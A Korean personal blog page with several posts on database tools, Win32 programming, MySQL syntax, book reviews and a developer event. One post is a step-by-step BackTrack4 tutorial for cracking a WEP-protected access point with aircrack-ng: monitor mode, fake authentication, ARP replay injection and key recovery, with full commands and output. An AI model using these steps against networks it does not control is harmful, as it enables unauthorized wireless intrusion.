반응형
토드에서 쿼리를 실행한 후에 결과를 엑셀 파일로 저장하려면

결과 출력 부분에서 Script Output에서 Grid 를 선택하면 아래와 같이 빨간 네모 박스 부분이 활성화 된다. 


위에 빨간 박스 모양을 클릭하면 원하는 형태의 파일로 출력할수가 있다.

그리고 엑셀로 출력시 한글 깨짐 현상이 발생하는데 그에 대한 해결은 설정 옵션을 추가 하면 된다.
출력전에 Write Wide String 옵션에 체크를 하고 해보자.. 그럼 정상적으로 출력 되는걸 확인 할수 있다.

Excel 파일로 Export 된 데이터를 Import 하려면 메뉴에서 Database -> Import -> Import Table Data

Import 하는 방법을 스샷으로 간단하게 훑어 보자.

반응형
DB툴로 sqldbx를 주로 사용한다. 가벼운것은 물론이거니와 여러 디비에 멀티 커넥팅도 되고
가장 편하게 사용하는 것은 물론 인텔리전스 기능이다. (자동완성)

그런데 업무를 처리하던중 데이터의 export 와 import 과정에서 난관에 봉착했다.
도대체 어떻게 하는건지 ㅠㅠ 이대로 sqldbx를 포기해야 하나.. ㅠㅠ
설마 다른 디비툴도 지원하는걸 sqldbx 가 지원하지 않을까 하고 자료를 찾아봤지만.. 못찾았다.
결론은 excel 을 이용한 방법은 찾았다.

도움말에는
 

Export to File

Select Export To->File menu item from table popup menu. Saved file can be later opened as script file and executed directly.

 

Import from File

You can import previously exported data by selecting Import From->File menu item from table popup menu. If table name in the file different from selected table it will be automatically replaced. Also file can be opened as ordinary file in Script Editor.

 

Export to Excel

Select Export To->Excel menu item from table popup menu to copy all table data to Excel

 

Import from Excel

You can import table data from Excel by first selecting range in Excel which contains table data with table column names in the first row. Order of columns is not important. Some column can be omitted too. To import data from Excel select table into which you want to import data. Right click and select Import From menu item. Select menu item with Excel session in which you previously selected data. Data from Excel will appear in a new Script Editor window as a series of INSERT statements. Now you can edit or execute script to insert data into the table.


지금은 회사업무로 인하여 데이터 스샷을 찍을순 없어서 스샷을 남길수 없다.
향후 테스트 디비를 생성하여 스샷을 남기도록 하겟다.

일단 Export 과정은..
해당 테이블을 선택하고 오른쪽 마우스 클릭하면
엑셀 파일로 Export


확장자가 .sql 이나 .qry 로 insert문으로 작성된 Export 파일 생성


File(as Inserts).. 선택시 뜨는 탐색창...

생성된 파일(Export1.sql)을 열었을때 각 데이터들이 Insert 문으로 생성된것을 확인할수 있다.


위 방법은 선택한 테이블의 전체 데이터를 Export 하는 방법이였고 아래 방법은 Select 쿼리를 날려
조회된 데이터를 Export 하는 방법이다.
쿼리를 날려 조회덴 Result Grid 화면이다.
조회된 데이터를 선택한후 오른쪽 클릭 팝업메뉴.. Excel 로 Export 방법과
File... 방법이 있다.File에서는 Csv,tab,txt 등으로 Export 할수 있다.

이제 Export 된 데이터를 Import 하는 방법이다.
우선 Export 됬던 Excel 파일을 열고 Import 할 데이터를 선택한다.
Excel로 Export한 데이터중 Import 할 데이터를 선택한다.

그리고 Import 할 테이블을 선택한후 오른쪽 클릭...
Import Data From 선택하면 Excel 창이 열려 있으면 자동으로 인식한다.
Excel파일로 Import 를 시작하면 Script 창에 쿼리가 자동으로 생성된다.

쿼리가 생성된 화면이다. 쿼리를 실행하면 Import 작업도 끝이다.

아직 csv 파일이나 txt 파일의 Import 방법은 찾아보지 못했다. Export 나 Import 작업에 불편함이 없지 않다.
누가 제대로 된 방법을 알려주었으면 한다. sqldbx 사용하시는분  자세히 아시면 조언좀~~
스샷이 조금 지저분하고 내용이 뒤죽박죽이드래도.. 잘 보시면 쉽게 알수 있을것이다.^^
반응형

visual studio 2008 환경에서 winapi 프로그래밍을 하고 있을 때

cannot convert from 'LPSTR' to 'LPCWSTR'  와 같은 오류가 생겼다.

컴파일러의 문제 인듯 하여 설정 부분을 찾아 보았다.

project properties -> general -> character set 에서
"Use Multi-byte character Set" 을 선택하고 컴파일 해보자..





위와 같이 셋팅하고 컴파일 하고 실행해 보자. 그러면 잘 돌아간다.
오랫만에 C 플밍 할때마다 첨부터 다시 시작하는 기분이다. 매번 헷갈리고 잘 모르겠다.
이렇게 정리라도 해야 다음에 찾을때 고생을 안하겠지..^^  만들고 싶은건 많은데 스킬이 영 부족하다. ㅠㅠ
반응형

BackTrack4 란 리눅스에 대해 알게 되고 관련 자료들을 정리해 본다.
http://www.remote-exploit.org/backtrack_download.html

무엇보다도 무선 랜에 관한 자료로 알게 되었는데 UI가 깔끔하고 속도도 빠르다.
일단 사용하면서 부딪혔던 문제에 대해서 정리한다.

일단 Vmware에서 가동중인 BackTrack4에 무선랜을 인식시키는데 부딪힌 난관
무선랜이 인식이 안되는것이다.
노트북 자체 무선랜은 인식이 안되기에 따로 외장 무선랜을 구매까지 했는데도 말이다.

일단 VMware에서 노트북 호스트에 있는 무선랜은 인식이 안된다고 한다.
VMware가 노트북 호스트에 있는 무선랜 디바이스를 게스트 OS에 연결하지 않기 때문..
그리하여 VMware 게스트 OS에서 노트북 호스트에 있는 USB 무선랜을 연결하려면,
디바이스를 넘겨줘야 된다. 그 방법은 VMware 메뉴에 보면 VM 메뉴가 보일것이다.
Removable Device에서 적합한 디바이스를 게스트에 연결해 주는 과정을 거치면 된다.

우선 AP의 WEP Key를 크래킹 하기 위해서는 수많은 양의 IVs(Initialization Vectors)를 모아야 한다.
일반적인 네트워크 트래픽을 저장하는 것으로 IVs를 수집하기엔 시간이 좀 걸린다.
수집시간을 줄이기 위해 Injectino이라고 부르는 기술을 사용할 것이다.
Injection 기법은 AP에 보낸 패킷을 계속해서 빠르게 재전송하기 때문에
많은 수의 IVs를 짧은 시간내에 얻을 수 있다.

*기타팁..
무선AP에서 MAC인증을 할 경우 무선 랜카드의 MAC을 수정해야 하는 경우가 있다.
윈도우 환경에서 해당툴을 이용하여 간단하게 바꿀 수 있슴..

http://www.wirelessdefence.org/Contents/MAC%20Address%20Changer.htm 

소스 파일: Project Homepage: http://www.codeproject.com/KB/applications/MacIdChanger.aspx
BackTrack 환경에서는 "macchager" 명령어가 포함되어 있다.


WEB Key를 크래킹 하기 위한 기본적은 단계는 다음과 같다.

  1. 공격할 AP MAC, Channel 정보를 수집하기.
  2. 무선랜을 모니터(monitor) 모드로 변경하기.
  3. aireplay-ng를 이용하여 AP에 가짜 인증(authentication) 하기.
  4. BSSID필터를 이용해 특정 AP 채널의 IVs 값들을 수집하기.
  5. aireply-ng의 ARP request replay 모드를 이용하여 패킷 주입하기.
  6. aircrack-ng를 이용하여 수집된 IVs 패킷 크래킹하기.

kismet을 실행하려면 무선랜카드가 Monitor 모드에 있어야 한다.
1. 무선랜 카드의 Monitor 모드를 해제한다.
    airmon-ng stop wlan0
2. 무선랜 카드를 Monitor 모드로 전환한다.
    airmon-ng start wlan0

그리고 kismet을 실행하려면, kismet.conf를 수정해서 무선랜 디바이스명과
무선랜 디바이스가 사용하는 드라이버명을 지정해줘야 한다.
/usr/etc/kimet.conf 파일에
ncsource=mon0:type=rt73
내용을 추가한다.

kismet을 실행하고 h를 누르면 도움말을 볼수 있다. 일단 s를 누르면 정렬방식을 지정하라고 뜬다.
s를 누르고 해킹할 AP를 선택하고 Enter를 누르면 자세한 정보를 볼수 있다.


2. 해킹을 위한 무선랜카드 설정하기 (Monitor Mode)

! interface 검사

root@bt:~# iwconfig

lo               no wireless extensions.

eth0           no wireless extensions.

wmaster0  no wireless extensions.

wlan0        IEEE 802.11bg  ESSID:""
                 Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
                 Tx-Power=0 dBm
                 Retry min limit:7   RTS thr:off   Fragment thr=2352 B
                 Encryption key:off
                 Power Management:off
                 Link Quality:0  Signal level:0  Noise level:0
                 Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
                 Tx excessive retries:0  Invalid misc:0   Missed beacon:0

! wlan0를 정지하기

root@bt:~# airmon-ng stop wlan0

Interface       Chipset                  Driver

wlan0            Ralink 2570 USB    rt2500usb - [phy1]
                                                   (monitor mode disabled)

 ! Wireless Card를 원하는 채널에 Monitor Mode로 변경한다.

  (여기서는 HCEducation AP해킹을 위해 1번채널을 설정)

  root@bt:~# airmon-ng start wlan0 1

Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID       Name
4324    knetworkmanager

Interface       Chipset                    Driver

wlan0            Ralink 2570 USB      rt2500usb - [phy1]
                                                     (monitor mode enabled on mon0)

!  설정 후 점검.. 모니터 모드로 설정 후 mon0 인터페이스가 생긴걸 볼 수 있다...
이 환경우 WLAN 카드별로
  조금씩 다를 수 있으니...참고

root@bt:~# iwconfig
lo             no wireless extensions.

eth0          no wireless extensions.

wmaster0  no wireless extensions.

wlan0     IEEE 802.11bg  ESSID:""
               Mode:Managed  Frequency:2.412 GHz  Access Point: Not-Associated
               Tx-Power=21 dBm
               Retry min limit:7   RTS thr:off   Fragment thr=2352 B
               Encryption key:off
               Power Management:off
               Link Quality:0  Signal level:0  Noise level:0
               Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
               Tx excessive retries:0  Invalid misc:0   Missed beacon:0

mon0      IEEE 802.11bg  Mode:Monitor  Frequency:2.412 GHz  Tx-Power=21 dBm
               Retry min limit:7   RTS thr:off   Fragment thr=2352 B
               Encryption key:off
               Power Management:off
               Link Quality:0  Signal level:0  Noise level:0
               Rx invalid nwid:0  Rx invalid crypt:0  Rx invalid frag:0
               Tx excessive retries:0  Invalid misc:0   Missed beacon:0
                                   

3. IV 캡처를 위한 airodump-ng 사용 및 Injection Test

 root@bt:~# airodump-ng -c 1 --bssid 00:0E:E8:FB:5F:47 -w output mon0

-c는 무선 네트워크의 채널지정... kismet을 이용하여 수집된 정보를 이용하면 된다..
--bssid는 공격하고자 하는 AP의 MAC 주소지정.
-w는 IVs들을 저장할 파일 이름을 지정.
mon0은 인터페이스 이름지정.

@ airodump-ng를 실행한 화면....

 

4. Airepla-ng를 이용한 AP에 fake authentication 하기

AP가 패킷을 받아들이기 위해서는 반드시 대상 MAC 주소와 연결이 이루어져야 한다.
Injection을 하고자 하는 AP의 주소에 가짜 인증(fake authentication)으로 연결하여야 한다.

root@bt:~# aireplay-ng -1 0 -e HCEducation -a 00:0E:E8:FB:5F:47
                                                                    -h 00-16-01-9C-0A-4F mon0

03:15:24  Waiting for beacon frame (BSSID: 00:0E:E8:FB:5F:47) on channel 1

03:15:24  Sending Authentication Request (Open System)
03:15:25  Authentication successful
03:15:25  Sending Association Request [ACK]
03:15:25  Association successful :-) (AID: 1)

-1은 fake authentication
0은 초당 재연결 시간
-e HCEducation는 무선 네트워크 이름
-a 00:0E:E8:FB:5F:47 은 AP의 MAC 주소
-h 00-16-01-9C-0A-4F는 자신의 랜카드 MAC 주소
mon0은 무선 네트워크 interface 이름

@ fake authentication이 성공한 화면......

  

5. aireplay-ng를 이용한 ARP Request Replay mode로 패킷 주입하기 

ARP request를 재주입하는 이유는 AP는 보통 ARP request를 받으면 새로운 IV를 생성하여 반출하기 때문
이를 통해 우리는 짧은 시간내에 많은 양의 IVs를 수집할 수 있게 된다.

root@bt:~# aireplay-ng -3 -b 00:0E:E8:FB:5F:47 -h 00-16-01-9C-0A-4F mon0

@ aireplay-ng을  이용한 fake authentication 후 Injection 공격을 하고 있는 화면....

@ airodump-ng에서 Capture 되고 있는 화면...Data가 40,000개 이상이 될때 까지 기다린다.... (WEP 128bit)



PTW 공격을 위해 필요한 패킷수...

WEB key가 64bit인 경우 : 250,000개의 IV / 20,000개의 패킷

WEB key가 128bit인 경우 : 1,500,000개의 IV / 40,000 ~ 85,000개의 패킷

 

6. WEP key 크랙을 위한 aircrack-ng 사용 

@ 새로운 konsole 창을 열고 다음 명령을 입력한다.

root@bt:~# aircrack-ng -z -b 00:0E:E8:FB:5F:47 output*.cap

-z :  PTW WEP-crack 방법사용
-b : 공격대상 AP에 MAC 주소
output*.cap : IV캡처해서 저장한 파일을 지정 

 @ 40분정도 수집된 IV를 이용한 WEP key 128bit 크랙이 완료된 화면....
암호가 asdf123456789 입니다....

 

@@ Summary

1. 정보수집을 위한 Kismet 사용 (공격할 AP MAC, Channel 정보를 습득한다.)

root@bt:~# kismet

2. 해킹을 위한 무선랜카드 설정하기 (Monitor Mode)

root@bt:~# airmon-ng stop wlan0

root@bt:~# airmon-ng start wlan0 1


3. IV 캡처를 위한 airodump-ng 사용 과 Wireless Device Packet Injection 테스트하기

root@bt:~# airodump-ng -c 9 --bssid 00:0E:E8:FB:5F:47 -w output mon0

root@bt:~# aireplay-ng -1 mon0

4. Airepla-ng를 이용한 AP에 fake authentication 하기

root@bt:~# aireplay-ng -1 0 -e HCEducation -a 00:0E:E8:FB:5F:47 -h 00-16-01-9C-0A-4F mon0

5. aireplay-ng를 이용한 ARP Request Replay mode로 패킷 주입하기 

root@bt:~# aireplay-ng -3 -b 00:0E:E8:FB:5F:47 -h 00-16-01-9C-0A-4F mon0

6. WEP key 크랙을 위한 aircrack-ng 사용

root@bt:~# aircrack-ng -z -b 00:0E:E8:FB:5F:47 output*.cap


 


 Aircrack-ng 패키지 구성

A.     aircrack-ng

airodump-ng를 통하여 캡쳐된 암호화 패킷들을 이용하여 암호화에 사용된 키를 추출해낼 수 있는 프로그램입니다. WEP 암호화 키의 추출에는 PTW메소드, FMS/KoreK메소드가 사용되는데, 메소드의 알고리즘은 < http://aircrack-ng.org/doku.php?id=links#technique_papers> 에서 확인할 수 있습니다. aircrack-ng는 추가로 brute force Dictionary method를 지원하는데, WPA-PSK 암호화의 크래킹은 현재 이 한가지 방법으로만 가능합니다. WPA-PSK 크래킹은 클라이언트와 AP간 연결시 발생하는 4-way handshake 패킷을 캡쳐하여, 제공된dictionary의 특정 엔트리를 일일이 대입해 봄으로써 진행됩니다.

 

B.     airdecap-ng

airdecap-ngWEP/WPA/WPA2로 암호화된 패킷들을 복호화하거나, 복호화된 패킷들에서 무선 헤더들을 떼내는데 사용됩니다.

 

C.     aireplay-ng

aireplay-ng frame의 삽입, WEP WPA-PSK키의 크랙에 필요한 패킷을 ap에 전송하는데 이용됩니다. 이용되는 공격방식들은 다음과 같습니다.

 

                i.         Attack 0: Deauthentication

이 공격방법은 AP와 이미 연결되어있는 클라이언트를 가장하여 연결해제 패킷(disassociate packet)을 보내는 것입니다. 공격받은 클라이언트와 AP의 연결이 해제된다면, 클라이언트가 끊어진 연결을 다시 복구하려 하게 되고, 이때 공격자는 hidden ESSID 감지(ap essid broadcast되지 않는 경우), WPA/WPA2 handshakes 패킷 캡쳐, ARP request 생성(window의경우 연결이 끊어졌을 때 aprcache를 클리어하기때문) 등과 같은 공격을 할 수 있게 됩니다. 이 공격에는 APMAC주소, 연결을 끊을 클라이언트의 MAC주소가 필요하며 MAC주소를 특정하지 않는 경우 AP에 연결된 모든 클라이언트의 연결을 해제시킬 수 있습니다.

 

               ii.         Attack 1: Fake authentication

이는 OpenSystem Share Key 타입의 WEP 암호화를 사용하며, AP에 가짜 연결을 생성하는 공격입니다. 이 공격은 공격할 AP에 아무런 연결이 없어 패킷 캡쳐가 불가능한 경우 이를 해결하기 위해 사용될 수 있으며 WPA/WPA2 AP에는 사용이 불가능합니다.

 

              iii.         Attack 2: Interactive packet replay

이 공격은 공격대상에게 특정 패킷을 보내서 회신을 받을 수 있도록 하는 것입니다.

목적지가 broadcast MAC주소인 경우인 패킷 (ARP request와 같이), 혹은 to DS(distribution system) flag 1인 패킷들을 이용하거나, 그게 아니라면 아예 목적에 맞는 새로운 to DS 패킷을 생성하여 공격하며, 대상이 답변 패킷을 보내도록 함으로써 결과적으로 이를 크랙에 이용할 수 있도록 합니다.

 

              iv.         Attack 3: ARP request replay attack

ARP request replay 공격은 새로운 initialization vector들을 생성하는데 가장 효과적이고 신뢰할 수 있는 방법입니다. 프로그램은 공격대상의 네트워크에서 ARP패킷이 생성되기를 기다리다가 이를 캡쳐한후 AP에 재전송을 여러 번 합니다. 이때 AP는 새로운 IV를 이용한 똑같은 ARP 패킷을 여러 번 반복 전송하게 됩니다. 이러한 방식으로 생성된 ARP패킷들은 WEP키를 쉽게 크랙할 수 있도록 합니다.

 

               v.         Attack 4: KoreK chopchop attack

chopchop공격은 WEP키를 모르는상태로 WEP 데이터 패킷을 복호화 하는 것입니다. 이 공격을 통해 WEP키를 알아낼 수는 없지만, 평문을 해석해 낼 수 있습니다.

이러한 공격이 가능한 원리는 다음 링크에서 얻을 수 있습니다.

http://www.aircrack-ng.org/doku.php?id=chopchoptheory

 

 

              vi.         Attack 5: Fragmentation attack

이 공격을 통해 WEP키 대신 PRGA(pseudo random generation algorithm) 를 얻을 수 있습니다.

PRGA는 약 1500byte, packetforge-ng에서 여러 인젝션공격을 위한 가짜 패킷을 생성하는데 사용됩니다. 기본적으로 이 프로그램은 패킷에서 몇가지 키가 될 수 있는 부분들을 추출한뒤, 그 내용을 알고 있는 ARP혹은 LLC혹은 두가지 패킷 모두를 AP에 보내고, 이에 반응한 AP에서 답신해온 패킷들을 통하여 많은양의 암호화정보를 추출해내는 방식으로 이루어집니다.

알고리즘에 대한 자세한 정보는 다음 링크에서 확인할 수 있습니다.

http://wiki-files.aircrack-ng.org/doc/Fragmentation-Attack-in-Practice.pdf

 

D.     airmon-ng

airmon-ng는 무선랜 인터페이스에서 Monitor mode를 활성화하는데 사용됩니다. Monitor modeairodump-ng에서 패킷 캡쳐링을 할 수 있도록 합니다.

 

E.      airodump-ng

Airodump-ng 802.11프레임 패킷들을 캡쳐할 수 있는 프로그램입니다. 이를 통해 주변 AP의 정보나 패킷량 등을 모니터링 하거나 저장할 수 있습니다. 또한 WEP IV를 수집하는데 적합하게 설계되었으며, 이는 aircrack-ng를 통하여 WEP key를 추출해 낼 수 있도록 합니다.

만약 컴퓨터에 GPS 수신기가 달려있다면, 모니터링중 찾아낸 AP들의 좌표를 기록할 수 있습니다.

 

F.      airtun-ng

Airtun-ng는 가상터널인터페이스를 생성할 수 있습니다.

이는 다음과 같은 기능을 위해 사용될 수 있습니다 :

-       wIDS (wireless intrusion detection system)

-       network에 임의의 트래픽 인젝션

 

wIDS 데이터수집을 위해, 모니터링할 네트워크의 bssid와 암호화키를 알고 있어야 합니다. Airtun-ng 는 가상 네트워크 인터페이스를 만든뒤, 공격하는 네트워크의 트래픽을 모두 복호화하여 이 인터페이스로 복사함으로써 이를 snort, wireshark와 같은 전통적인 IDS에 넘길 수 있습니다.

 

트래픽인젝션은 WEP키를 가지고 있을 경우 송/수신 정보 모두를, PRGA만을 가지고 있을 경우 송신 정보만을 인젝션 할 수 있습니다.

 

G.     packetforge-ng

Packetforge-ng injection에 사용될 수 있는 암호화된 패킷을 만들어 낼 수 있습니다. Arp, UDP, ICMP 혹은 다른 종류의 패킷들을 생성할 수 있습니다.

암호화된 패킷을 생성하기 위해서는, 반드시 PRGA 패킷을 가지고 있어야 합니다.

 

H.     airdecloak-ng

특정 종류의 AP에서는 WIPS(Wireless intrusion prevention system)을 도입하여, WEP키 크랙킹을 방지합니다. 이는 가짜 WEP 프레임을 삽입함으로써 aircrack-ng wep키를 크래킹하는것을 방해할 수 있습니다. Airdeclock-ng는 이러한 가짜 프레임을 구별해내어 필터링함으로써 결과적으로 aircrack-ng wep를 알아낼 수 있도록 합니다.



그 외 관련 자료 :  http://ntlab.egloos.com/2482499
반응형

어플을 실행할때 중복 실행이 되지 않게 하기 위해 방지 하는 방법에 대해서 알아보자.
그 방법에는 FindWindow()를 이용하거나 EnumWindows()를 이용하는등의 방법이 있지만
Mutex를 이용하여 간단하게 처리 하는 방법에 대해 알아보도록 하자.



함수원형
HANDLE CreateMutex(LPSECURITY_ATTRIBUTES lpMutexAttributes, BOOL blnitialOwner, LPCTSTR lpName);

Argument
- lpMutexAttributes : Mutex의 보안속성을 지정, 주로 상속관계를 지정하기 위해 사용, 일반적으로 NULL
- blnitialOwner : 생성시 사용권한을 갖을것인지 여부,
- lpName : Mutex의 이름, Mutex 이름을 아는 다른 프로세스와의 동기화 가능, 유니크한 이름 지정.

CreateMutex는 생성한 Mutex의 핸들을 리턴하고
같은 이름의 Mutex가 생성되어 있을 경우 해당 뮤텍스 핸들을 리턴
GetLastError()로는 ERROR_ALREADY_EXIST값을 얻을수 있고
Mutex에 접근할 수 있는 권한이 없는 경우 (ERROR_ACCESS_DENIED)NULL 을 리턴한다.

이를 통해 위 소스를 이용하여 중복실행 방지를 할수 있는 것이다.
중요한것은 CreateMutex()를 통해 Mutex의 핸들을 리턴 받은 루틴 후에
GetLastError()를 확인했을때 ERROR_ALREADY_EXIST 값과 같다면 이미 실행되어 있다는 것이고
그렇다면 종료 루틴으로 흘러가게 되고 어플은 종료 되는 것이다.
참고로 게임이나 다중 실행 방지 처리가 되어 있는데 이런방식을 사용했다면 리버싱관점에서
이 부분을 뛰어 넘기면 멀티로더를 제작할수도 있을듯 하다.

반응형


사색하고 독서하며 글쓰는 인생은 남다르다.

블로그를 운영하면서 포스팅을 하면서 나의 글재주에 많은 부족함을 느낀다.
이에 좀더 나은 포스팅을 위해 쇼펜하우어의 문장론을 구매하였다.
"사색하고 독서하며 글쓰는 인생은 남다르다."
나는 몽상에 빠져 허우적대지만 정작 깊이 사색하는 경우가 드물다.
이에 나의 포스팅에 도움이 되리라 구매하며 좀 더 깊은 사색의 세계에 빠져들길 기원한다.

날 향한 질책 " 허황된 글쓰기는 조잡한 연극과 같다"  OTL

//2009.11.30
이 책의 서평을 쓰기위해 몇번이나 타이핑을 했다 지웠다 하는 행동을 했다.
나는 책을 읽고 내가 읽은 책의 내용을 되새기기 위해 서평을 작성했다.
하지만 그 과정이 단순한 글을 쓰기 위한 과정이 아니었나 하는 생각이든다.
이 책의 내용은 쇼펜하우어의 주관적인 의견이 강한 책이다.
그의 사상이나 철학등 그의 주관이 강하게 피력되어 있는 책이다.
물론 그가 말하고자 하는 본질에 문제는 없다. 하지만 너무 과격하다는 느낌이 든다.
그리고 애초에 내가 바랬던 사색에 대한 부분은 다른 부분에 비해 그 내용이 약소하다.
책을 읽기 위한 책읽기 남의 사상을 그대로 강요받고 그대로 받아 들이는 어리석음
사색하지 않는 글쓰기와 독서는 아무런 의미 없는 에너지와 시간의 낭비라는 질책.
글을 쓰면서 단지 화려하고 멋있게 보이기 위한 난해하고 어려운 문장의 사용등..
진정한 글쓰기에 대한 쇼펜하우어에 대한 강한 집념이 들어가 있는 듯한 책이다.
그리고 나를 향한 질책이기도 하다. 단순히 책을 많이 읽고 싶다던 생각 에서 비롯되서
얼마만큼의 책을 읽었다는 듯한 과시욕에서 발달된 서평 작성... 그런 나를 되돌아보게 한다.


반응형


파울로 코엘료의 대표작이라고 할수 있는 연금술사..
한소년의 꿈을 찾아 떠나는 이야기이다.. 언젠가 아는 지인으로부터 읽어보라는 권유를 받았던..
내 자신의 꿈을 향한 길에 갈등하던 때에 추천 받았던 책이다..
그리고 코엘료의 이름은 낯설지가 않기도 하다 개인적으로 포스팅에 썼던 문구중에
인간 존재의 흥미로움이란 글이 코엘료의 '흐르는 강물처럼'에 나왔던 문구이기도 하다.
'흐르는 강물처럼'을 읽어 본것은 아니고 발췌한 글을 읽어보았던 것이다.
인터넷서점에서 40% 할인 행사가 있어서 그냥 질러 버렸다.

//2009.11.30
연금술사.. 책을 손에 쥐고 꽤 재미있게 읽을 수 있는 책이였다.
주말동안 5시간씩 왕복 10시간 가까이 고속버스를 타고 고향집에 다녀오는 동안에 읽어버렸다.
"자아의 신화"를 이루어 가는 양치기의 이야기.. 참 많은 생각들을 하게 하는 책이였다.
나또한 내 "자아의 신화"를 이루기 위해 떠난 "내 남자의 길"이 있지만 지금은
그 길을 잃어버린 것은 아닌가 하는 생각이 든다. 언제나 표지를 발견하지만 이내 마음속에서
새로운 변화 그리고 도전에 대한 두려움이 싹터서 이내 표지를 감추어 버리는..
내게는 표지 보다는 이정표라 칭함이 더 맞을 것 같다. 삶은 갈림길의 연속이라 하던가?
내가 가야하는 "내 남자의 길"은 언제나 갈림길에 놓이지만 이정표를 발견하고도 가지 못하고
두려움에 포기하고 이내 현실에 안주하는 것이 아닐까?  아니 안주하고 있다.
그저 지금 손에 쥐고 있는 것을 잃을까봐 새로운 선택을 하지 못하고 있다.
책을 읽으면서 나를 빗대어 보며 많은 생각을 하게 되는 책이다.
자기 자신의 "자아의 신화"가 무엇이었는지 혹시 잊고 잊지는 않는지 그런 생각이 들면 읽어보시길...
여담이지만.. 아이가 태어날때는 손을 꼭 쥐고 태어난다고 한다.
그 작은 손에는 자신의 "꿈"을 꼭 쥐고 태어나서 서서히 성장하며 손가락을 편다.
그때 손을 떠나 날아가버린 "꿈"을 찾기 위해 사람은 성장한다고 한다. 그 잃어버린 꿈을 찾기위해..
자신이 가지고 태어났던 아련한 자신만의 꿈을 위해서 말이다..
내가 가야할 길에 어긋남이 없이 가고 있는지 지금은 잘 모르겠다. 마음이 아련히 아파오기만 한다.
결론은 꽤 읽을 만한 책이였다. 파울로 코엘료의 "흐르는 강물처럼" 이 읽고 싶어졌다.
그리고 이 책을 추천해준 지인에게 고마움을 표하고 싶다.
예전 나의 "자아의 신화"에 대해 고뇌할때 이 책을 추천해준 지인이 표지가 아니었을까 하는 생각이 든다.

반응형

날로 다양하고 흥미로운 웹 개발 기술과 방법들이 소개되고 있습니다. 복잡 다단한 웹 개발 방식과 노하우를 공유할 수 있는 자리가 마련됩니다.
개발자 정보 포탈, IBM developerWorks에서 ‘웹 개발 다반사’라는 주제로 오는 12월 5일(토)에 dW Live! 세미나를 개최합니다. 새로운 형식의 발표 세션(Pecha Kucha)과 토론 세션(개발자들의 수다)을 곁들인 dW Live! 세미나에서 웹 개발에 대한 다양한 경험과 고민을 공유하시기 바랍니다.

진행 방식
Pecha Kucha 형식으로 발표 세션을 진행합니다. ‘생산적인 개발 노하우 나누기’라는 범주 안의 주제라면, 누구나 발표를 신청할 수 있습니다. 단, 발표 형식은 Pecha Kucha 형식을 지향합니다. 15장의 슬라이드를 장당 30초씩 발표합니다.참고: http://en.wikipedia.org/wiki/Pecha_Kucha

발표 신청
  • 발표하고 싶은 주제와 간략한 내용을 연락처와 함께 메일(dwkorea@kr.ibm.com)로 보내주세요.
        (발표 신청 마감: 11월 25일 수요일 저녁 6시)
  • 발표 주제 예시
    - 웹 개발 성공/실패담
    - 기상천외 개발 트릭(꼼수)
    - 웹에 대한 애증(?)
    - 웹 개발 wish list
    - ~ 매시업 서비스를 원한다.
    - 나만의 비장의 개발 기술은?


  • 행사 일정
  • 일시: 12월 5일 (토) 오후 1:30 ~ 6:00
  • 장소: 도곡동 군인공제회관 23층 온디맨드홀 [약도]
  • 아젠다
  • 시 간 세 션
    13:00 ~ 13:30     등 록
    13:30 ~ 14:30     웹 2.0과 클라우드 컴퓨팅을 위한 플랫폼, sMash | 한국IBM 최진호
    14:30 ~ 14:40     휴식
    14:40 ~ 16:00     Pecha Kucha 형식의 발표 세션
    16:00 ~ 16:20     휴식 & 수다 주제 선정
    16:20 ~ 17:30     개발자들의 수다
    17:30 ~ 17:50     공유 & 정리

     
    개발자들의 수다가 벌써 3회째가 되었네요.
    매년 참가하는 행사이기도 하고 반가운 얼굴들을 볼수 있는 행사이기도 합니다.
    그리고 무엇보다 개발자들이 한데 모여 이야기 할수 있는 기회는 흔치 않으니까요.
    여러 선배님들의 이야기도 듣고 조언을 구하기도 하고 저같은 초급 개발자에겐 즐거운 시간입니다.
    같이 일하는 분들 외에 다른 분야에 대한 궁금증을 풀기도 하고.. ^^
    반응형

    책 이름을 보고 웨렌 버핏이 쓴 책인줄 알았다. 하지만 이 책은 워렌버핏이 쓴 책이 아니다.
    서울경제신문 금융부 기자로 일하고 뉴욕 특파원으로 활동했던 저자 서정명이 그간의 재테크 정보와
    버핏 회장과 인터뷰를 하고 배운 투자와 재테크에 대한 그의 원칙과 소신을 한국의 금융 현실에 맞게끔
    정리하여 쓴 책이라고 할수 있겠다. 하지만 책 내용을 떠나서 워렌버핏 사진을 떡하니 표지에 쓰고
    책 이름도 그렇고 약간은 워렌버핏을 이용한 마케팅이란 생각이 든다.
    재테크에 관심이 많이 있지만 어떻게 접근해야 할지 몰라 책을 구매하려고 하던 찰나에 찾던중
    눈에 띄고 평도 좋게 해서 구매한 책이다. 재테크에 대한 개념이 생기길 바라며.. ㅎㅎ
    반응형
    기존 테이블에 컬럼 추가,변경,삭제 및 테이블명 변경
    1. 테이블에 새로운 컬럼 추가하기
    alter table [테이블명] add column [추가할 컬럼명] [추가할 컬럼타입]
    2. 테이블에 컬럼타입 변경하기
    alter table [테이블명] modify column [변경할 컬럼명] [변경할 컬럼타입]
    3. 테이블에 컬럼이름 변경하기
    alter table [테이블명] change column [기존 컬럼명] [변경할 컬럼명] [변경할 컬럼타입]
    4. 테이블에 컬럼 삭제하기
    alter table [테이블명] drop column [삭제할 컬럼명]
    5. 테이블명 바꾸기
    alter table [테이블명] rename 새로운테이블명


     
    기존 테이블에 인덱스 추가,삭제 및 고유키 추가,삭제
    1. 테이블컬럼에 인덱스 주기 (인덱스 다수 입력가능)
    alter table [테이블명] add index 인덱스명(컬럼1 , 컬럼2 , 컬럼3)
    2. 테이블컬럼에 인덱스 삭제하기
    alter table [테이블명] drop index 인덱스명;
    3. 테이블에 Primary Key 만들기
    alter table [테이블명] add primary key (컬럼1 , 컬럼2, 컬럼3)
    4. 테이블에 Primary Key 삭제하기
    alter table [테이블명] drop primary key;



    + Recent posts